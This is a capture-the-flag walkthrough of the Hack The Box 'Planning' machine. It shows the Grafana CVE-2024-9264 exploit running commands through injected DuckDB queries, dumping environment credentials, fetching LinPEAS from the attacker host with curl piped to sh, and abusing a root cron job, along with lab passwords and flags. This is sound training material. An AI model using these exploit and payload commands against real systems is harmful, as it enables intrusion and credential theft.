HTB planning Writeup (Walkthrough)
HTB Planning Writeup
Planning is an easy box on Hack The Box, which is a platform for practicing penetration testing skills. This writeup will guide you through the steps taken to compromise the machine.
Machine Information
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r which is provided in the box description. The goal is to gain root access and retrieve the user and root flags.
Initial Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/planning]
└─$ nmap -sC -sV -oA planning 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 14:32 EDT
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.079s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 255.13 seconds
The Nmap scan reveals two open ports: SSH on port 22 and HTTP on port 80. The HTTP service is running nginx, which is often used for web applications.
Web Enumeration
Visiting the website at http://planning.htb reveals an online education platform called Edukate. The site appears to be a standard educational website with no obvious vulnerabilities at first glance.
Directory Enumeration
To further explore the web application, I used ffuf to enumerate directories:
I tried to find any directories or files that might be hidden or not linked from the main page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[/]
└─$ ffuf -u http://planning.htb/FUZZ -w ./usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 54ms]
[Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 112ms]
# [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 113ms]
# [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 113ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 113ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 114ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 124ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 124ms]
# [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 125ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 125ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 123ms]
# Copyright 2007 James Fisher [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 151ms]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 154ms]
# on atleast 2 different hosts [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 155ms]
# [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 146ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 49ms]
lib [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 71ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 64ms]
[Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 53ms]
:: Progress: [220560/220560] :: Job [1/1] :: 425 req/sec :: Duration: [0:06:31] :: Errors: 0 ::
Found nothing important so I tried sub-directory enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u http://planning.htb/ -w subdomain_megalist.txt -H "Host:FUZZ.planning.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/
:: Wordlist : FUZZ: /home/kali/Desktop/subdomain_megalist.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 36ms]
:: Progress: [72014/72014] :: Job [1/1] :: 412 req/sec :: Duration: [0:02:16] :: Errors: 0 ::
I found a subdomain grafana.planning.htb which redirects to the Grafana login page. Grafana is a popular open-source platform for monitoring and observability.
Exploiting Grafana
Grafana has a known vulnerability (CVE-2024-9264) that allows unauthenticated users to read arbitrary files from the server. This vulnerability can be exploited by sending a specially crafted request to the Grafana server. I used a Python script to exploit this vulnerability. The script allows you to log in with a username and password, and then read files from the server or execute commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(venv)─(kali㉿kali)-[~/Desktop/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
This command successfully reads the /etc/passwd file, revealing the user accounts on the system, including the grafana user.
Next, I used the script to execute a command on the server. I chose to run id to check the current user and group IDs.
1
2
3
4
5
6
7
8
9
10
┌──(venv)─(kali㉿kali)-[~/Desktop/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "id" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)
This command confirms that the Grafana service is running as the root user, which is a significant security risk. Next, I used the script to read the environment variables of the Grafana service. This is useful for finding sensitive information such as passwords or API keys. As you can see, the environment variables contain the admin username and password for Grafana.
You can see that we are in a Docker environment. Based on our command execution output, here are the key indicators that suggest you’re in a Docker environment:
- Root User Execution
- The command
idreturneduid=0(root) gid=0(root) groups=0(root), indicating that the command was executed as the root user. In a Docker container, services often run as root by default.
- The command
- No additional groups suggests minimal system setup typical of containers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(venv)─(kali㉿kali)-[~/Desktop/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('env >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
The environment variables reveal the following important information:
GF_SECURITY_ADMIN_USER=enzo: The admin username for Grafana isenzo.GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!: The admin password for Grafana isRioTecRANDEntANT!. Now that I have the admin credentials, I can log in to Grafana and access the web interface.
I tried logging in via SSH with enzo and RioTecRANDEntANT!, and found that I successfully logged in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(venv)─(kali㉿kali)-[~/Desktop/CVE-2024-9264]
└─$ ssh [email protected]
The authenticity of host 'planning.htb (10.10.11.68)' can't be established.
ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'planning.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jul 29 02:07:58 PM UTC 2025
System load: 0.0 Processes: 229
Usage of /: 68.6% of 6.30GB Users logged in: 0
Memory usage: 46% IPv4 address for eth0: 10.10.11.68
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 29 14:07:59 2025 from 10.10.14.85
enzo@planning:~$ pwd
/home/enzo
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
enzo@planning:~$ ls
user.txt
enzo@planning:~$ cat user.txt
d2fac38b486f8c814e6dd5ac4c906a97
And I successfully logged in as the enzo user. The user flag is located in the home directory of the enzo user, and its contents are d2fac38b486f8c814e6dd5ac4c906a97.
Privilege Escalation
Now that I have access to the enzo user, I need to escalate my privileges to root. I started by checking for any SUID files that might allow privilege escalation.
I used LinPEAS to automate the enumeration process. LinPEAS is a script that checks for various privilege escalation vectors on Linux systems.
1
enzo@planning:~$ curl -L 10.10.14.85:9001/linpeas.sh | sh
The output of LinPEAS revealed several interesting findings, including a Docker container running as root and a cron job that runs a script every minute.
1
2
3
4
5
6
7
8
9
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/crontabs/crontab.db: New Line Delimited JSON text data
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 967, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 6, database pages 16, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
-> Extracting tables from /var/lib/command-not-found/commands.db (limit 20)
-> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
-> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
I found a cron job that runs a script every minute, which could potentially be exploited for privilege escalation. The cron job is located in /opt/crontabs/crontab.db and contains the following entries:
1
2
3
enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
The cron job runs a script located at /root/scripts/cleanup.sh every minute. This script could potentially be modified to escalate privileges.
I checked the contents of the /root/scripts/cleanup.sh script to see if it could be exploited for privilege escalation.
Also I checked the active ports on the system to see if there are any services running that could be exploited.
1
2
3
4
5
6
7
8
9
10
11
12
13
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (netstat)
tcp 0 0 127.0.0.1:41223 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
The IP 127.0.0.1:8000 looks interesting. It could potentially be a web application running on that port. I do a port forwarding to access the web application running on port 8000.
1
ssh -L 8000:127.0.0.1:8000 enzo@planning
As you see in 2nd screenshot, I created a new cron job that read /root/root.txt file and save the output in /tmp/root.txt file.
Then I waited for a minute for the cron job to run and read the contents of the /tmp/root.txt file.
1
2
enzo@planning:~$ cat /tmp/root.txt
547a5a5fb66d502441a2d233627733a8
I successfully read the root flag, which is 547a5a5fb66d502441a2d233627733a8.
Conclusion
In this writeup, I demonstrated how to exploit a vulnerable Grafana instance to gain access to the enzo user account on the Planning box. I then escalated privileges to root by exploiting a cron job that runs a script every minute. This writeup serves as a reminder of the importance of securing web applications and services, as well as the potential risks associated with running services as root.
If you have any questions or comments about this writeup, feel free to reach out to me on my social media accounts. I hope this writeup helps you in your journey to learn more about penetration testing and ethical hacking.
Happy hacking!
Hi there 👋 Support me!
Life is an echo—what you send out comes back.



